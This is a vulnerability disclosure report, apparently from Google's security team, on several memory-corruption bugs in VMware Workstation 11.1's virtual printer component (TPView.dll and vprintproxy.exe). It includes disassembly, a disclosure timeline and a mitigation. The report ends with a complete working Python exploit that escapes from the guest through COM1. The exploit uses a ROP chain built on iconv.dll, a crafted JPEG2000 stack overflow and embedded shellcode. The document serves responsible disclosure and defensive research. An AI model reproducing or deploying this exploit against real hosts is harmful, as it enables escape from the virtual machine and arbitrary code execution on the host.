Escaping VMware Workstation through COM1

Kostya Kortchinsky - Google Security Team

Exploit Video

Foreword

These bugs are subject to a 90 day disclosure deadline[1]. If 90 days elapse without a broadly available patch, then the bug report will be made available to the public.

Summary

VMware Workstation offers printer "virtualization", allowing a Guest OS to access and print documents on printers available to the Host OS. On VMware Workstation 11.1, the virtual printer device is added by default to new VMs, and on recent Windows Hosts, the Microsoft XPS Document Writer is available as a default printer. Even if the VMware Tools are not installed in the Guest, the COM1 port can be used to talk to the Host printing Proxy.

vprintproxy.exe is launched on the Host by vmware-vmx.exe as whichever user started VMware. vmware-vmx.exe and vprintproxy.exe communicate through named pipes. When writing to COM1 in the Guest, the packets will eventually end up in vprintproxy.exe for processing.

I won't go over the subtleties of the protocol, but basically the printer virtualization layer is a glorified file copy operation of EMFSPOOL[2] files from the Guest to the Host. The EMFSPOOL and contained EMF[3] files are processed on the Host by vprintproxy.exe, and can be previewed on the Host thanks to TPView.dll. By supplying specially crafted EMFSPOOL and EMF files to COM1, one can trigger a variety of bugs in the vprintproxy.exe process, and achieve code execution on the Host.

Environment

The rest of this document assumes a Windows 8.1 amd64 Host, a Windows 7 x86 Guest running under VMware Workstation 11.1, with all patches installed. Other platforms have not been investigated.

A fully working exploit is provided for this particular environment.

---

[1] http://googleprojectzero.blogspot.jp/2015/02/feedback-and-data-driven-updates-to.html
[2] [MS-EMFSPOOL]: Enhanced Metafile Spool Format
https://msdn.microsoft.com/en-us/library/cc231034.aspx
[3] [MS-EMF]: Enhanced Metafile Format
https://msdn.microsoft.com/en-us/library/cc230514.aspx

Integer underflows when processing custom EMR

The function CTPViewDoc::WriteEMF in TPView.dll pre-processes an EMF and rewrites it, replacing a couple of custom EMR record types. In the case of an EMR of type 0x8000 and 0x8002, the program will allocate memory based on the size specified for the record, then copy the 8 bytes of the record, subtract 8 to the size and read from the file into the dynamically allocated buffer that amount of bytes. For an EMR record size strictly lower than 8, the subtraction will underflow and result in a heap overflow.

```
.text:1002F3D7                    loc_1002F3D7:                         ; CODE XREF: CTPViewDoc::WriteEMF+720↑j
.text:1002F3D7 8B 4D AC                          mov     ecx, [ebp+var_54]
.text:1002F3DA 8D 45 B4                          lea     eax, [ebp+var_4C]
.text:1002F3DD 6A 08                             push    8               ; int
.text:1002F3DF 50                                push    eax             ; LONG
.text:1002F3E0 E8 4F 24 00 00                    call    kk_ReadFile_0
.text:1002F3E5 83 F8 08                          cmp     eax, 8
.text:1002F3E8 89 45 08                          mov     [ebp+arg_0], eax
.text:1002F3EB 0F 84 89 00 00 00                 jz      loc_1002F47A

...

.text:1002F47A
.text:1002F47A                    loc_1002F47A:                         ; CODE XREF: CTPViewDoc::WriteEMF+740↑j
.text:1002F47A 33 DB                             xor     ebx, ebx
.text:1002F47C 81 7D B4 02 80 00+                cmp     [ebp+var_4C.iType], 8002h
.text:1002F483 0F 85 ED 04 00 00                 jnz     loc_1002F976
.text:1002F489 FF 75 B8                          push    [ebp+var_4C.nSize] ; size_t
.text:1002F48C E8 42 AA 04 00                    call    _malloc
.text:1002F491 8B D8                             mov     ebx, eax
.text:1002F493 33 F6                             xor     esi, esi
.text:1002F495 3B DE                             cmp     ebx, esi
.text:1002F497 59                                pop     ecx
.text:1002F498 75 79                             jnz     short loc_1002F513

...

.text:1002F513                    loc_1002F513:                         ; CODE XREF: CTPViewDoc::WriteEMF+7ED↑j
.text:1002F513 8D 45 B4                          lea     eax, [ebp+var_4C]
.text:1002F516 6A 08                             push    8               ; size_t
.text:1002F518 50                                push    eax             ; void *
.text:1002F519 53                                push    ebx             ; void *
.text:1002F51A E8 E1 9A 04 00                    call    _memcpy
.text:1002F51F 8B 4D B8                          mov     ecx, [ebp+var_4C.nSize]
.text:1002F522 83 C4 0C                          add     esp, 0Ch
.text:1002F525 83 C1 F8                          add     ecx, -8         ; (1)
.text:1002F528 8D 43 08                          lea     eax, [ebx+8]
.text:1002F52B 51                                push    ecx             ; int
.text:1002F52C 8B 4D AC                          mov     ecx, [ebp+var_54]
.text:1002F52F 50                                push    eax             ; LONG
.text:1002F530 E8 FF 22 00 00                    call    kk_ReadFile_0
```

This snippet of code doesn't ensure that the size of the record is at least 8. The integer underflow at (1) will make the program read a large number of bytes into a small buffer, resulting in a heap overflow.

A similarly vulnerable portion of code is handling custom EMR 0x8000.

Multiple vulnerabilities when processing custom EMR 0x8002

In the case of custom EMR record 0x8002, TPView.dll blindly trusts sizes and offsets provided in the relevant structures and perform unsafe memcpy() operations.

```
.text:1002F909 loc_1002F909:                        ; CODE XREF: CTPViewDoc::WriteEMF+C50↑j
.text:1002F909                 mov     esi, [ebp+var_50]
.text:1002F90C                 push    dword ptr [ebx+34h] ; size_t
.text:1002F90F                 mov     eax, [esi+30h]
.text:1002F912                 add     eax, esi
.text:1002F914                 push    eax             ; void *
.text:1002F915                 mov     eax, [ebx+30h]
.text:1002F918                 add     eax, ebx
.text:1002F91A                 push    eax             ; void *
.text:1002F91B                 call    _memcpy
.text:1002F920                 mov     eax, [esi+38h]
.text:1002F923                 push    dword ptr [ebx+3Ch] ; size_t
.text:1002F926                 add     eax, esi
.text:1002F928                 push    eax             ; void *
.text:1002F929                 mov     eax, [ebx+38h]
.text:1002F92C                 add     eax, ebx
.text:1002F92E                 push    eax             ; void *
.text:1002F92F                 call    _memcpy
.text:1002F934                 mov     eax, [ebp+var_4C+4]
.text:1002F937                 push    50h             ; size_t
.text:1002F939                 mov     [ebp+var_58], eax
.text:1002F93C                 mov     eax, [ebx+30h]
.text:1002F93F                 mov     [esi+30h], eax
.text:1002F942                 mov     eax, [ebx+38h]
.text:1002F945                 push    esi             ; void *
.text:1002F946                 push    ebx             ; void *
.text:1002F947                 mov     [esi+38h], eax
.text:1002F94A                 call    _memcpy
```

Here, both the contents of esi and ebx are under user's control, and correspond to the contents of a custom 0x8002 EMR structure. The size of the memory allocated for ebx is not even checked to be at least 0x50 bytes. This results in some heap overflow conditions, as well a relative memory overwrite.

Multiple vulnerabilities when processing custom EMR 0x8000

The custom EMR 0x8000 appears to hold a structure describing a JPEG2000 compressed image. There are several integer overflows when computing the size of a dynamically allocated chunk of memory, that can result in heap overflow conditions.

```
.text:100225DC                 mov     eax, [ecx+4]
.text:100225DF                 xor     edi, edi
.text:100225E1                 mov     [ebp+var_10], esp
.text:100225E4                 mov     [ebp+var_14], edi
.text:100225E7                 lea     eax, [eax+eax*2]
.text:100225EA                 mov     [ebp+var_4], edi
.text:100225ED                 mov     edx, eax
.text:100225EF                 and     edx, 3
.text:100225F2                 jbe     short loc_100225FB
.text:100225F4                 push    4
.text:100225F6                 pop     esi
.text:100225F7                 sub     esi, edx
.text:100225F9                 add     eax, esi
.text:100225FB
.text:100225FB loc_100225FB:                           ; CODE XREF: kk_JpegDecompress+29↑j
.text:100225FB                 mov     ebx, [ecx+8]
.text:100225FE                 imul    ebx, eax
.text:10022601                 lea     eax, [ebx+28h]
.text:10022604                 cmp     [ebp+arg_10], eax
.text:10022607                 jb      loc_1002277F
.text:1002260D                 mov     esi, [ebp+arg_C]
.text:10022610                 push    28h             ; size_t
.text:10022612                 push    ecx             ; void *
.text:10022613                 push    esi             ; void *
.text:10022614                 call    _memcpy
```

The program performs unsafe 32-bit arithmetic, leading to an invalid size check prior to a memcpy() operation, leading to a heap overflow. The size allocated for that memory check is itself prone to a wrap due to the previous arithmetic operations, as well as the following addition that also might wrap the 32-bit integer:

```
.text:1002FA37                 lea     eax, [edi+28h]
.text:1002FA3A                 push    eax             ; int
.text:1002FA3B                 push    edi             ; void *
.text:1002FA3C                 call    kk_JpegDecompress
.text:1002FA41                 add     esp, 14h
.text:1002FA44                 mov     [ebp+Type], eax
.text:1002FA4A                 add     eax, 50h
.text:1002FA4D                 push    eax             ; size_t
.text:1002FA4E                 mov     [ebp+var_50], eax
.text:1002FA51                 call    _malloc
```

Stack overflow when processing a JPEG2000

This vulnerability looks conspicuously like CVE-2012-0897[4], and it might very well be that the same JPEG2000 library was used in both case but has been left unpatched in TPView.dll for the last couple of years. Anyway, when processing record 0xff5c (Quantization Default), a user can trigger an overflow of a stack based buffer in a function without a stack cookie - which leads to direct EIP control.

[4] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0897

```
.text:10048788                  lea     edi, [esp+100h+var_C4]
.text:1004878C
.text:1004878C loc_1004878C:                            ; CODE XREF: JP2_0FF5Ch+128↓j
.text:1004878C                  mov     ecx, [esp+100h+var_EC]
.text:10048790                  mov     edx, [esp+100h+var_E4]
.text:10048794                  push    ecx
.text:10048795                  push    edi
.text:10048796                  push    edx
.text:10048797                  call    kk_JP2_ReadWord ; arg_4=&result
.text:1004879C                  add     esp, 0Ch
.text:1004879F                  test    eax, eax
.text:100487A1                  jnz     loc_10048A05
.text:100487A7                  mov     eax, [esp+100h+var_EC]
.text:100487AB                  add     edi, 2
.text:100487AE                  add     eax, 2
.text:100487B1                  inc     ebp
.text:100487B2                  cmp     ebp, ebx
.text:100487B4                  mov     [esp+100h+var_EC], eax
.text:100487B8                  jl      short loc_1004878C
```

Here, the JPEG2000 parser will just read words as long as the size of the 0xff5c record permits it, while the destination buffer can only hold 0xc4 bytes at most.

Multiple vulnerabilities in EMF record enumeration callback

The CEMF::EnhMetaFileProc function in TPView.dll is used as a callback to EnumEnhMetaFile[5], and applies some specific processing to several EMR types prior to “playing” them. The sanity of those records is poorly checked, leading to multiple out-of-bounds read or write operations.

```
.text:10020CFA case_EMR_SMALLTEXTOUT:                   ; size_t
.text:10020CFA                  push    dword ptr [edi+4]
.text:10020CFD                  call    _malloc
.text:10020D02                  mov     esi, eax
.text:10020D04                  pop     ecx
.text:10020D05                  cmp     esi, ebx
.text:10020D07                  jz      loc_10020DC9
.text:10020D0D                  push    dword ptr [edi+4] ; size_t
.text:10020D10                  push    edi             ; void *
.text:10020D11                  push    esi             ; void *
.text:10020D12                  call    _memcpy
.text:10020D17                  add     esp, 0Ch
.text:10020D1A                  cmp     [ebp+var_24], ebx
.text:10020D1D                  mov     ecx, 100h
.text:10020D22                  jz      short loc_10020D53
.text:10020D24                  mov     eax, [esi+0Ch]
.text:10020D27                  fld     dword ptr [esi+20h]
.text:10020D2A                  fmul    ds:g_fMinus1
.text:10020D30                  neg     eax
.text:10020D32                  mov     [esi+0Ch], eax
```

Here, the length of the EMR_SMALLTEXTOUT[6] record is not checked to be at least 0x34 prior to operations being carried on fields of the structure.

[5] https://msdn.microsoft.com/en-us/library/windows/desktop/dd162613%28v=vs.85%29.aspx
[6] https://msdn.microsoft.com/en-us/library/cc230599.aspx

```
.text:10020DDE loc_10020DDE:                            ; CODE XREF: CEMF::EnhMetaFileProc+5E7↑j
.text:10020DDE                 push    dword ptr [edi+4] ; size_t
.text:10020DE1                 push    edi             ; void *
.text:10020DE2                 push    esi             ; void *
.text:10020DE3                 call    _memcpy
.text:10020DE8                 add     esp, 0Ch
.text:10020DEB                 cmp     [ebp+var_24], ebx
.text:10020DEE                 jz      short loc_10020DAB
.text:10020DF0                 mov     eax, [esi+28h]
.text:10020DF3                 fld     dword ptr [esi+20h]
.text:10020DF6                 fmul    ds:g_fMinus1
.text:10020DFC                 neg     eax
.text:10020DFE                 mov     [esi+28h], eax
.text:10020E01                 mov     eax, [esi+14h]
.text:10020E04                 neg     eax
.text:10020E06                 fstp    dword ptr [esi+20h]
.text:10020E09                 mov     [esi+14h], eax
.text:10020E0C                 mov     eax, [esi+0Ch]
.text:10020E0F                 neg     eax
.text:10020E11                 test    byte ptr [esi+34h], 4
.text:10020E15                 mov     [esi+0Ch], eax
.text:10020E18                 jz      short loc_10020DAB
.text:10020E1A                 mov     eax, [esi+44h]
.text:10020E1D                 neg     eax
.text:10020E1F                 mov     [esi+44h], eax
.text:10020E22                 mov     eax, [esi+3Ch]
.text:10020E25                 neg     eax
.text:10020E27                 mov     [esi+3Ch], eax
```

Same issue here for an EMR_EXTTEXTOUTW[7] record.

Arbitrary memory zeroing in TrueType font checksum verification

When extracting a TrueType font from the EMFSPOOL file, TPView.dll will verify the checksum of the font prior to further processing. To do so, it will walk the tables, zero out the padding at the end of a table and checksum the table[8]. In doing so, it will trust the ‘offset’ field of the table record and add it to a pointer to the font buffer. While there is a check to make sure that we don’t go past the end of the font, nothing prevents us from referencing and zeroing memory prior to the font, as the 32-bit arithmetic will wrap.

[7] https://msdn.microsoft.com/en-us/library/cc230626.aspx
[8] http://www.microsoft.com/typography/otspec/otff.htm

```
.text:10009072 8B 46 08                               mov     eax, [esi+8]
.text:10009075 8A 5E 09                               mov     bl, [esi+9]
.text:10009078 8A 7E 08                               mov     bh, [esi+8]
.text:1000907B 57                                     push    edi
.text:1000907C C1 E8 10                               shr     eax, 10h
.text:1000907F 8A CC                                  mov     cl, ah
.text:10009081 8B 7D 08                               mov     edi, [ebp+arg_0]
.text:10009084 C1 E3 10                               shl     ebx, 10h
.text:10009087 8A E8                                  mov     ch, al
.text:10009089 8B 46 0C                               mov     eax, [esi+0Ch]
.text:1000908C 0B D9                                  or      ebx, ecx
.text:1000908E 33 C9                                  xor     ecx, ecx
.text:10009090 8A 4E 0D                               mov     cl, [esi+0Dh]
.text:10009093 03 DF                                  add     ebx, edi
.text:10009095 8A 6E 0C                               mov     ch, [esi+0Ch]
.text:10009098 C1 E8 10                               shr     eax, 10h
.text:1000909B 8A D4                                  mov     dl, ah
.text:1000909D 8A F0                                  mov     dh, al
.text:1000909F 8B 45 0C                               mov     eax, [ebp+arg_4]
.text:100090A2 C1 E1 10                               shl     ecx, 10h
.text:100090A5 0B CA                                  or      ecx, edx
.text:100090A7 03 F8                                  add     edi, eax
.text:100090A9 03 CB                                  add     ecx, ebx
.text:100090AB 57                                     push    edi
.text:100090AC 53                                     push    ebx
.text:100090AD 89 4D 10                               mov     [ebp+arg_8], ecx
.text:100090B0 E8 60 FE FF FF                         call    kk_IsArg0LowerThanArg4
```

The above checks can be bypassed with a “negative” offset, leading to the following memset() and checksum:

```
.text:100090CE 8B 46 0C                               mov     eax, [esi+0Ch]
.text:100090D1 33 C9                                  xor     ecx, ecx
.text:100090D3 8A 4E 0D                               mov     cl, [esi+0Dh]
.text:100090D6 33 D2                                  xor     edx, edx
.text:100090D8 8A 6E 0C                               mov     ch, [esi+0Ch]
.text:100090DB C1 E8 10                               shr     eax, 10h
.text:100090DE 8A D4                                  mov     dl, ah
.text:100090E0 0F B6 D2                               movzx   edx, dl
.text:100090E3 C1 E1 10                               shl     ecx, 10h
.text:100090E6 0B CA                                  or      ecx, edx
.text:100090E8 33 D2                                  xor     edx, edx
.text:100090EA 8A F0                                  mov     dh, al
.text:100090EC 0F B7 C2                               movzx   eax, dx
.text:100090EF 0B C8                                  or      ecx, eax
.text:100090F1 51                                     push    ecx
.text:100090F2 53                                     push    ebx
.text:100090F3 E8 39 FE FF FF                         call    kk_MemsetAndChecksum
```

As a result, it is possible to zero 1 to 3 bytes (size of the padding) at an arbitrary location relative to the font buffer, as long as it’s located before.

Additional security considerations

Even when running on a 64-bit platform, vprintproxy.exe is only available as a 32-bit process. It is to be noted that several modules loaded within vprintproxy.exe do not support ASLR, namely:

- iconv.dll

- TPClnt.dll
- TPClntloc.dll
- TPClnVM.dll
- TPView.dll

Since all those DLLs share the same image base of 0x10000000, only iconv.dll (the 1st to be loaded) will be located at his address. The others' base will be randomized as their original loading address is unavailable.

Also the JPEG2000 parsing is done within a try-catch that catches all exception. This would allow an attacker to bruteforce his/her way to successful exploitation as the vprintproxy.exe would stay alive even through access violations.

Identified mitigations

"Disconnect" the Virtual Printer, or remove it entirely in the VM settings, this will stop vprintproxy.exe from running.

Document revisions

1.0: initial version
1.1: added the arbitrary zero memory within the TrueType font checksum
1.2: added the integer underflows in the custom EMR processing

Timeline

3/5/2015: initial report sent to security@vmware.com
3/6/2015: VMware Security Response Centre acknowledges the receipt of the report
3/12/2015: updated report sent
3/17/2015: VSRC sends the expected timeframe for fixes to be released
3/17/2015: updated report sent
3/18/2015: additional bugs sent to VSRC
4/10/2015: VMware communicates expected date for joint disclosure (6/9)
4/21/2015: VMware assigns 5 CVEs to the issues (CVE-2015-2336 to 2340)
6/9/2015: VMware releases Workstation 11.1.1 for Windows and VMSA-2015-0004

Exploit

The provided exploit achieves code execution in the vprintproxy.exe process running on the Host, triggering the JPEG2000 stack overflow by sending a crafted EMFSPOOL through COM1 in the Guest, which doesn't require administrative privileges in the Guest.
Past the crafting of the EMFSPOOL and contained EMF and JPEG2000, the only difficulty was to create a ROP chain based on iconv.dll, as this DLL is fairly inconvenient for this purpose.
The exploit assumes iconv.dll version 1.9.0.1 and TPview.dll version 8.8.856.1, but since exceptions are caught by the JPEG2000 parser, additional targets can be supported through multiple tries.

```
from ctypes import *
from ctypes.wintypes import BYTE
from ctypes.wintypes import WORD
from ctypes.wintypes import DWORD
import sys
import struct
import binascii
import array
import zlib

class DCB(Structure):
    _fields_=[
        ('DCBlength',DWORD),
        ('BaudRate',DWORD),
        ('fBinary',DWORD,1),
        ('fParity',DWORD,1),
        ('fOutxCtsFlow',DWORD,1),
        ('fOutxDsrFlow',DWORD,1),
        ('fDtrControl',DWORD,2),
        ('fDsrSensitivity',DWORD,1),
        ('fTXContinueOnXoff',DWORD,1),
        ('fOutX',DWORD,1),
        ('fInX',DWORD,1),
        ('fErrorChar',DWORD,1),
        ('fNull',DWORD,1),
        ('fRtsControl',DWORD,2),
        ('fAbortOnError',DWORD,1),
        ('fDummy2',DWORD,17),
        ('wReserved',WORD),
        ('XonLim',WORD),
        ('XoffLim',WORD),
        ('ByteSize',BYTE),
        ('Parity',BYTE),
        ('StopBits',BYTE),
        ('XonChar',c_char),
        ('XoffChar',c_char),
        ('ErrorChar',c_char),
        ('EofChar',c_char),
        ('EvtChar',c_char),
        ('wReserved1',WORD),
    ]

class COMMTIMEOUTS(Structure):
```

```
    _fields_=[
        ('ReadIntervalTimeout',DWORD),
        ('ReadTotalTimeoutMultiplier',DWORD),
        ('ReadTotalTimeoutConstant',DWORD),
        ('WriteTotalTimeoutMultiplier',DWORD),
        ('WriteTotalTimeoutConstant',DWORD),
    ]

class TPVM:

    SERIAL_PORT=b'\\\\.\\COM1'

    def __init__(self):
        self.hPort=windll.kernel32.CreateFileA(self.SERIAL_PORT,
                                               0xc0000000,
#GENERIC_READ|GENERIC_WRITE
                                               3, #FILE_SHARE_READ|FILE_SHARE_WRITE
                                               None,
                                               3, #OPEN_EXISTING
                                               0,
                                               None)
        if (self.hPort&0xffffffff)==0xffffffff:
            raise Exception('the serial port could not be opened
(0x%08x)'%(GetLastError()))
        if not windll.kernel32.SetupComm(self.hPort,
                                         0x20000,
                                         0x84d0):
            raise WinError()
        dcb=DCB()
        dcb.DCBlength=0x1c
        dcb.BaudRate=0x1C200
        dcb.fBinary=1
        dcb.fOutxCtsFlow=1
        dcb.fDtrControl=2
        dcb.fRtsControl=2
        dcb.ByteSize=8
        dcb.fAbortOnError=1
        windll.kernel32.SetCommState(self.hPort,
                                     byref(dcb))
        commtimeouts=COMMTIMEOUTS()
        commtimeouts.ReadIntervalTimeout=0
        commtimeouts.ReadTotalTimeoutMultiplier=0
        commtimeouts.ReadTotalTimeoutConstant=20000
        commtimeouts.WriteTotalTimeoutMultiplier=0
        commtimeouts.WriteTotalTimeoutConstant=20000
        if not windll.kernel32.SetCommTimeouts(self.hPort,
                                               byref(commtimeouts)):
            raise WinError()

    def __write_packet(self,buffer):
        bytesWritten=DWORD(0)
        if not windll.kernel32.WriteFile(self.hPort,
                                         buffer,
                                         len(buffer),
                                         byref(bytesWritten),
                                         None):
            raise WinError()
        print('%d bytes written'%(bytesWritten.value))

    def __read_packet(self,n):
```

```
        buffer=c_buffer(n)
        bytesRead=DWORD(0)
        if not windll.kernel32.ReadFile(self.hPort,
                                        buffer,
                                        n,
                                        byref(bytesRead),
                                        None):
            raise WinError()
        print('%d bytes read'%(bytesRead.value))
        return buffer.raw

    def __write(self,buffer):
        while len(buffer)!=0:
            n=min(len(buffer),0x7ffd)
            self.__write_packet(struct.pack('<H',n)+buffer[:n])
            buffer=buffer[n:]

    def __read_1byte(self):
        b=self.__read_packet(1)
        if len(b)!=1:
            return 1
        return struct.unpack('<B',b)[0]

    def do_command(self,cmd):
        self.__write_packet(struct.pack('<H',cmd))
        if cmd==0x8002:
            return 0
        return self.__read_1byte()

    def do_data(self,d):
        self.__write(d)
        return self.__read_1byte()

    def close(self):
        windll.kernel32.CloseHandle(self.hPort)

def main(args):
    #some constants
    PRINTER_ID=1 #should probably be an argument really

SHELLCODE=binascii.a2b_hex('e8000000005b8db31b010000568db313010000566a0268884e0d00e8
170000006a008d832301000050ff931b0100006a00ff931f0100005589e55156578b4d0c8b75108b7d14
ff36ff7508e813000000890783c70483c604e2ec5f5e5989ec5dc210005589e55356575164ff35300000
00588b400c8b480c8b118b41306a028b7d085750e85b00000085c0740489d1ebe78b4118508b583c01d8
8b5878585001c38b4b1c8b53208b5b2401c101c201c38b32585001c66a01ff750c56e82300000085c074
0883c20483c302ebe35831d2668b13c1e20201d10301595f5e5b89ec5dc208005589e551535231c931db
31d28b45088a1080ca6001d3d1e30345108a0884c9e0ee31c08b4d0c39cb7401405a5b5989ec5dc20c00
ea6f0000945d030000000000000000000063616c632e65786500') #Didier Stevens'
winexec/exitthread
    WRITABLE=0x1010ff00 #end of the .idata section of iconv.dll
    BASE=0x40000000 #where we want the virtualalloc

    t=TPVM()
    t.do_command(0x8001)
    #header
    t.do_data(struct.pack('<20sIIII',('%d'%(PRINTER_ID)).encode('utf-8'),2,0xd,0,0))
    #jobheader

t.do_data(binascii.a2b_hex('310001001400150016001700180021002f00300000000000000063727970
746f61640050494e42414c4c57495a415244000000'))
```

```
###############
#emf
emf=b''
#emr_header
emf+=struct.pack('<II',1,0x84)
emf+=struct.pack('<IIII',0xf1,0xf2,0x130b,0x1855) #bounds
emf+=struct.pack('<IIII',0,0,0x53fc,0x6cfc) #frame
emf+=b' EMF' #record signature
emf+=struct.pack('<I',0x10000) #version
emf+=struct.pack('<IIHH',0,0,0,0) #bytes,records,handles,reserved
emf+=struct.pack('<II',0xc,0x6c) #ndescription,offdescription
emf+=struct.pack('<I',0) #npalentries
emf+=struct.pack('<II',0x13ec,0x19c8) #device
emf+=struct.pack('<II',0xd7,0x117) #millimetres
emf+=struct.pack('<III',0,0,1) #cbpixelformat,offpixelformat,bopengl
emf+=struct.pack('<II',0x347d8,0x441d8) #micrometresx,micrometresy
emf+=('\0'*0xc).encode('utf-16le')
#overflowing buffer
o=b''
o+=struct.pack('<I',0x1001c94c) #mov eax,edx&retn
o+=struct.pack('<I',0x10110284) #target --.idata!_iob_func
o+=struct.pack('<I',0x1001c594) #value --pop ecx&pop ecx&retn
o+=struct.pack('<I',0x100010b1) #mov ebp,esp&push ecx& call ds:_iob_func
o+=struct.pack('<I',0x1001c595) #pop ecx&retn
o+=struct.pack('<I',0x1001c594) #pop ecx&pop ecx&retn
o+=struct.pack('<I',0x1000cb5c) #dec eax&retn
o+=struct.pack('<I',0x10003d43) #add [eax+1],edi&mov esp,ebp&pop ebp&retn
o+=struct.pack('<I',0x10001116) #pop ebp&retn
o+=struct.pack('<I',WRITABLE-8)
o+=struct.pack('<I',0x1001c120) #mov eax,[ebp+8]&pop ebp&retn
o+=struct.pack('<I',0x41414141) #
o+=struct.pack('<I',0x100010b1) #mov ebp,esp&push ecx& call ds:_iob_func
o+=struct.pack('<I',0x1001c595) #pop ecx&pop ecx&retn
o+=struct.pack('<I',0x1001c594) #pop ecx&pop ecx&retn
o+=struct.pack('<I',0x1001c1fc) #mov eax,[eax]&mov [esp],eax&retn
o+=struct.pack('<I',0x42424242) #
o+=struct.pack('<I',0x1001c7d6) #pop edi&pop esi&retn
o+=struct.pack('<I',BASE)
o+=struct.pack('<I',0x10000)
o+=struct.pack('<I',0x3000) #MEM_COMMIT|MEM_RESERVE
o+=struct.pack('<I',0x40) #PAGE_READWRITE_EXECUTE
o+=struct.pack('<I',BASE+0x10) #edi
o+=struct.pack('<I',0x43434343) #esi --not used
o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange
o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange
o+=struct.pack('<I',BASE) #
o+=struct.pack('<I',0x8b24438b) #
o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange
o+=struct.pack('<I',BASE+4) #
o+=struct.pack('<I',0xa4f21470) #
o+=struct.pack('<I',0x1001c595) #pop ecx&retn
o+=struct.pack('<I',BASE+8) #
o+=struct.pack('<I',0x01f3e9) #mov eax,[ebx+0x24]&mov esi,[eax+0x14]&jmp +0x13f
o+=struct.pack('<I',0x1000) #ecx
o+=struct.pack('<I',BASE) #
###print('len(o)=0x%08x'%(len(o))) #must be <0xc4
o+=b'A'*(0xc4-len(o))
o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange --first eip
o+=struct.pack('<I',0x1001c595) #pop ecx&retn
```

```
    o+=struct.pack('<I',WRITABLE) #target
    o+=struct.pack('<I',0x000000f4) #value --esp offset
    o+=struct.pack('<I',WRITABLE) #writable --edx
    o+=struct.pack('<I',0x1001c595) #pop ecx&retn
    o+=struct.pack('<I',0x7fffffff) #
    o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange
    o+=struct.pack('<I',0x1001c1e0) #__alloca_probe
    o+=struct.pack('<I',WRITABLE) #target
    o+=struct.pack('<I',0x00078c48) #.idata!VirtualAlloc-@edi
    o+=struct.pack('<I',0x1001cae4) #jmp ds:InterlockedExchange
    while (len(o)-2)%6!=0: #padding to satisfy length requirements
        o+=b'Z'
    #jp2 contents --the code still parses the codestream if no valid header is
present, so I skipped it
    j=b''
    j+=struct.pack('>H',0xff4f) #SOC marker
    j+=struct.pack('>HH',0xff51,0x29) #SIZ marker
    j+=struct.pack('>HIIIIIIII',0,1,9,0,0,1,9,0,0)
    j+=struct.pack('>HBBB',1,7,1,1)
    j+=struct.pack('>HH',0xff5c,3+len(o)) #QCD marker
    j+=struct.pack('>B',2) #sqcd
    for i in range(0,len(o),2): #switch the endianness of the words
        j+=struct.pack('>H',(o[i+1]<<8)+o[i])
    j+=struct.pack('>H',0xffd9) #EOC marker
    j+=b'\x90'*(0x200-len(j)) #unprocessed data
    j+=SHELLCODE
    j+=b'\xcc'*(0x10000-len(j)) #has to be at least 10000h long to avoid a read AV
    #custom 8000h record
    r=b''
    r+=b'A'*0x28
    r+=struct.pack('<I',0x50)
    r+=b'B'*0x1c
    r+=struct.pack('<IIII',0x43434343,0x10,0x10,0x44444444)
    r+=b'E'*0x18
    r+=j
    emf+=struct.pack('<II',0x8000,len(r)+8)+r #type,size
    #emr_eof
    emf+=struct.pack('<IIIII',0xe,0x14,0,0x10,0x14)
    emf=emf[:0x30]+struct.pack('<IIH',len(emf),3,1)+emf[0x3a:]
    #devmode

dm=binascii.a2b_hex('7000720069006e0074006500720000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000001040005dc0008040ff
f01000100100de0a66086400010007005802020001005802010001004c00650074007400650072000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000545045580f020000000c00000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000001000000010110141e000e1464000614f401060f00000100000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
```

```
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000054505044050
00000')
    dm=b'%%EMF'+struct.pack('<BI',2,len(dm)+5)+dm
    #emf_spool

h=struct.pack('<II',0x10,0)+'Google\0'.encode('utf-16le')+struct.pack('<HII',0xdead,
0xc,len(emf))
    h=struct.pack('<II',0x10000,len(h))+h
    #emri_metafile_ext
    f=struct.pack('<IIII',0xd,8,len(emf)+8,0) #"offset is counted backward"
    e=dm+h+emf+f
    d=zlib.compress(e,9)
    d=struct.pack('<II',len(d),len(e))+d
    d=struct.pack('<H',0)+d
    ###############
    t.do_data(d)
    t.do_command(0x8002)
    t.close()

if __name__=='__main__':
    main(sys.argv)
```